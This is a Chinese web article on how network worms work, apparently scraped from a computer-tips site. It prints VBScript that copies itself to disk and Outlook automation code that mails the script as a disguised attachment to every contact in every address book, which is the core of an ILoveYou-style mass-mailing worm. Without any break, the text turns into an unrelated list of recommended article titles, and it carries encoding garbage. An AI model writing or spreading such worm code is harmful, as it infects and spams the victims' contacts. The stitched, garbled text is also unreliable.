如今对大家的电脑威胁最大的就属网络蠕虫病毒了!网络蠕虫病毒的危害之大简直令人吃惊,从大名鼎鼎的爱虫到欢乐时光,再到红色代码,其破坏力越来越强,因此我们有必要了解网络蠕虫病毒,

蠕虫病毒与一般的计算机病毒不同,它不采用将自身拷贝附加到其他程序中的方式来复制自己,所以在病毒中它也算是一个另类。蠕虫病毒的破坏性很强,部分蠕虫病毒不仅可以在因特网上兴风作浪,局域网也成了它们施展身手的舞台?D?D蠕虫病毒可以潜伏在基于客户机/服务机模式的局域网的服务机上的软件内,当客户机访问服务机,并对有毒的软件实施下载后,病毒就神不知、鬼不觉地从服务机上拷贝到客户机上了。

其实脚本病毒是很容易制造的,它们都利用了视窗系统的开放性的特点。特别是COM到COM+的组件编程思路,一个脚本程序能调用功能更大的组件来完成自己的功能。以VB脚本病毒(如欢乐时光、ILoveYou、库尔尼科娃病毒、Homepage病毒等)为例,他们都是把.vbs脚本文件添在附件中,最后使用*.htm.vbs等欺骗性的文件名。下面我们详细了解一下蠕虫病毒的几大特性,从中找到对付蠕虫病毒的方法。

一、蠕虫病毒具有自我复制能力

我们以普通的VB脚本为例来看看:

SetobjFs=CreateObject(Scripting.FileSystemObject)

'创建一个文件系统对象

objFs.CreateTextFile(“C:\virus.txt”,1)

'通过文件系统对象的方法创建了一个TXT文件。

如果我们把这两句话保存成为.vbs的VB脚本文件,点击就会在C盘中创建一个TXT文件了。倘若我们把第二句改为:

objFs.GetFile(WScript.ScriptFullName).Copy(“C:\virus.vbs”)

就可以将自身复制到C盘virus.vbs这个文件。本句前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。这么简单的两句就实现了自我复制的功能,已经具备病毒的基本特征?D?D自我复制能力,实例解析蠕虫病毒的原理》(https://www.unjs.com)。

二、蠕虫病毒具有很强的传播性

病毒需要传播,电子邮件病毒的传播无疑是通过电子邮件传播的。对于OutLook来说地址簿的功能相当不错,可是也给病毒的传播打开了方便之门。几乎所有通过OutLook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附件完成的。看看如下的代码:

SetobjOA=Wscript.CreateObject(“Outlook.Application”)

'创建一个OUTLOOK应用的对象

SetobjMapi=objOA.GetNameSpace(“MAPI”)

'取得MAPI名字空间

Fori=1toobjMapi.AddressLists.Count

'遍历地址簿

SetobjAddList=objMapi.AddressLists(i)

Forj=1ToobjAddList.AddressEntries.Count

SetobjMail=objOA.CreateItem(0)

objMail.Recipients.Add(objAddList.AddressEntries(j))

'取得收件人邮件地址

objMail.Subject=“你好!”

'设置邮件主题

objMail.Body=“这次给你的附件,是我的新文档!”

'设置信件内容

objMail.Attachments.Add(c:\virus.vbs“)

'把自己作为附件扩散出去

objMail.Send

'发送邮件

Next

Next

SetobjMapi=Nothing

'清空objMapi变量,释放资源,值得学习的编程习惯

SetobjOA=Nothing

'清空objOA变量

这一小段代码的功能是向地址簿中的用户发送电子邮件,并将自己作为附件扩散出去。这段代码中的第一行是创建一个Outlook的对象,是必不可少的。在其下是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。蠕虫病毒就是这样进行传播的。

关于计算机的病毒案例分析,实例解析蠕虫病毒的原理 -电脑资料相关推荐

  1. 高手实例解析蠕虫病毒的原理

    一直对蠕虫病毒都是不了解,今天做了20年奇安信的试题真好有道相关的题就去了解一下,发现一位大神十几年前写的一篇文章让我豁然开朗了不少. 高手实例解析蠕虫病毒的原理 - TechTarget安全 同时发 ...

  2. TMS320C6678 多核学习 中断分析 实例+解析

    TMS320C6678 多核学习 中断分析 实例+解析 TMS320C6678 了解c66x内核 C66x corepac的位置 内部架构 中断 事件 中断控制器 中断例程 环境 预期结果 运行结果 ...

  3. 计算机有效教学案例分析,中职计算机应用基础有效教学案例分析.doc

    中职计算机应用基础有效教学案例分析.doc (7页) 本资源提供全文预览,点击全文预览即可全文预览,如果喜欢文档就下载吧,查找使用更方便哦! 9.90 积分 俩瘫直词琼下矫焉原温沽己动府罚斗寒详沛凡 ...

  4. 安全使用计算机事例,计算机安全案例分析.ppt

    您所在位置:网站首页 > 海量文档 &nbsp>&nbsp资格/认证考试&nbsp>&nbsp安全工程师考试 计算机安全案例分析.ppt35页 本文档 ...

  5. 三年级计算机课教学案例分析,三年级数学 《周长》教学案例分析

    三年级数学 <周长>教学案例分析 道北小学 宋传余 教学目标: 1.通过说一说,摸一摸等活动使学生理解.掌握周长的概念. 2.通过实践操作,探究周长测量策略,培养学生动手操作能力及概括能力 ...

  6. 三年级计算机课教学案例分析,小学三年级体育课教学案例分析

    本课的目标是把这些三年级孩子的学习积极性调动起来.学生们活泼愉快,课堂气氛活跃.培养他们的自主性.终身体育的意识和创造能力,把"教学"转化成"点拨".本文是大学 ...

  7. 计算机网络中www中文名称为,计算机等级考试试题及答案解析(网络知识) -备考资料...

    网络知识 1.在INTERNET中"WWW"的中文名称是:( ), A.广域网 B.局域网 C.企业网 D.万维网 D 2.在计算机网络中,数据资源共享指的是( ). A.应用程序 ...

  8. 计算机伦理问题案例分析,基于网络环境的案例教学在《计算机伦理学》中的实践研究...

    摘要: 在信息化浪潮及多种网络信息文化的影响下,加强信息伦理道德教育,提高大学生的职业道德修养,使他们能有效识别和履行其社会责任和道德责任,具有十分重要的意义.而案例教学法作为一种比较成熟的教学方法, ...

  9. 涉密计算机打印机共享案例分析,案例教程|兼收并蓄,有线打印机无线共享实战...

    原标题:案例教程|兼收并蓄,有线打印机无线共享实战 纵观整个电脑行业,有实力的厂商们往往会开辟出商用系列产品线来完善自己的产品布局,英特尔NUC亦是如此,从早期的"枫树峡谷"到现在 ...

  10. 涉密计算机打印机共享案例分析,又碰到2个打印机无法共享的案例(打印机共享的四个步骤)...

    一个案例: 接有打印机的电脑把Guest账号关闭了,所以其他打印机本来可以共享,现在变成无法连接了. 只要把guset账号重新开启就好了. 另外一例: 我把接有打印机的电脑重装了系统.重装完后,把Gu ...

最新文章

  1. 斯坦福CS520 | 知识图谱到底是什么?从各顶会看知识图谱定义
  2. 大开源时代,“仁慈的独裁者”管理模式还走得通吗?
  3. 小猿圈web前端之移动端Vue+Vant实现上传压缩旋转图片功能
  4. 24.二叉树中和为某一值的路径
  5. 数据、事实、实体、值对象、事务、不变性
  6. Linux vim编辑器命令总结(转载)
  7. 厉害了,ES 如何做到几十亿数据检索 3 秒返回!
  8. 让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询
  9. fileinputstream resources 读取文件_压缩20M文件从30秒到1秒,包教包会
  10. 阿里巴巴数据分析沙龙 杭州站圆满召开
  11. Jsoup V的幕后秘密:优化的技巧和窍门
  12. DNS服务器systemctl start named启动失败
  13. 西瓜书+实战+吴恩达机器学习(十九)特征选择(过滤式选择、包裹式选择)
  14. 条件随机场 Conditional Random Fields
  15. 计算机excel函数lookup,详细介绍数据查找VLookup函数在Excel中的应用举例
  16. 【信号处理】信号与系统 电子课本(郑君里)
  17. 计算机在材料科学领域有哪些应用,计算机在材料科学中的应用分析
  18. ISO14001环境管理体系认证申报要求有哪些
  19. 2023年东北大学理学院数学考研必看成功上岸前辈复习经验分享
  20. 索尼电视总出现Android,索尼电视紧急撤回安卓8.0固件包:N多用户无法连接Wi-Fi...

热门文章

  1. keyshot场景素材导入_Keyshot环境贴图大合集 KEYSHOT CLOUD ALL ENVIRONMENTS
  2. JavaScript基础-前端开发
  3. 基于SpringBoot的宠物医院管理系统
  4. C# html日期选择控件,C#实现日期选择
  5. 软件测试 | 手把手教你如何使用 ABD调试工具,学不会算我的!
  6. Mybatis 中文文档
  7. linux使用tar命令,Linux的tar命令使用简介
  8. PLC数据采集解决方案及数采网关
  9. C#——NotifyICON的使用
  10. 什么是JavaSE,写给第一次接触Java的人